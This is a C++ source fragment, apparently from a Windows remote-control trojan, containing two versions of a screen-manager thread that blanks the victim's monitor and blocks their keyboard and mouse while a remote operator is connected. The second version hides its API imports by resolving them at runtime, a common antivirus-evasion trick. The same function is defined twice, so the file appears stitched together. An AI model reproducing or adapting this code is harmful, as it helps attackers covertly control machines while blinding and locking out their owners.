// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
	CScreenManager *pThis = (CScreenManager *)lparam;

	static	bool bIsScreenBlanked = false;

	while (pThis->IsConnect())
	{
		// todo:加快反应速度
		for (int i = 0; i < 100; i++)
		{
			if (pThis->IsConnect())
			{
				if (pThis->IsMetricsChange())
				{
					pThis->ResetScreen(pThis->GetCurrentPixelBits());
				}
				Sleep(10);
			}
			else
			{
				break;
			}
		}

		if (pThis->m_bIsBlankScreen)
		{
			SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
			SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
			bIsScreenBlanked = true;
		}
		else
		{
			if (bIsScreenBlanked)
			{
				SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
				SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
				bIsScreenBlanked = false;
			}
		}

		BlockInput(pThis->m_bIsBlockInput);

		if (pThis->IsMetricsChange())
		{
			pThis->ResetScreen(pThis->GetCurrentPixelBits());
		}
	}

	BlockInput(false);
	return -1;
}
// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
	typedef VOID (WINAPI *SleepT)
		(
		__in DWORD dwMilliseconds
		);
	SleepT pSleep = (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep");

	
	typedef LRESULT
		(WINAPI
		*SendMessageAT)(
		__in HWND hWnd,
		__in UINT Msg,
		__in WPARAM wParam,
		__in LPARAM lParam);
	SendMessageAT pSendMessageA=(SendMessageAT)GetProcAddress(LoadLibrary("USER32.dll"),"SendMessageA");

	
	typedef BOOL
		(WINAPI
		*SystemParametersInfoAT)(
		__in UINT uiAction,
		__in UINT uiParam,
		__inout_opt PVOID pvParam,
		__in UINT fWinIni);
	SystemParametersInfoAT pSystemParametersInfoA=(SystemParametersInfoAT)GetProcAddress(LoadLibrary("USER32.dll"),"SystemParametersInfoA");

	static	bool bIsScreenBlanked = false;
	CScreenManager *pThis = (CScreenManager *)lparam;
	while (pThis->IsConnect())
	{
		// 加快反应速度
		for (int i = 0; i < 100; i++)
		{
			if (pThis->IsConnect())
			{
				// 分辨率大小改变了
				if (pThis->IsMetricsChange())
					pThis->ResetScreen(pThis->GetCurrentPixelBits());
				pSleep(10);
			}
			else
				break;
		}
		if (pThis->m_bIsBlankScreen)
		{
			pSystemParametersInfoA(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
			pSendMessageA(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
			bIsScreenBlanked = true;
		}
		else
		{
			if (bIsScreenBlanked)
			{
				pSystemParametersInfoA(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
				pSendMessageA(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
				bIsScreenBlanked = false;
			}
		}
		typedef BOOL (WINAPI *BlockInputT)
			(
			BOOL fBlockIt
			);
		BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput");
		pBlockInput(pThis->m_bIsBlockInput);

		// 分辨率大小改变了
		if (pThis->IsMetricsChange())
			pThis->ResetScreen(pThis->GetCurrentPixelBits());
	}
	typedef BOOL (WINAPI *BlockInputT)
		(
		BOOL fBlockIt
		);
	BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput");

	pBlockInput(false);
	return -1;
}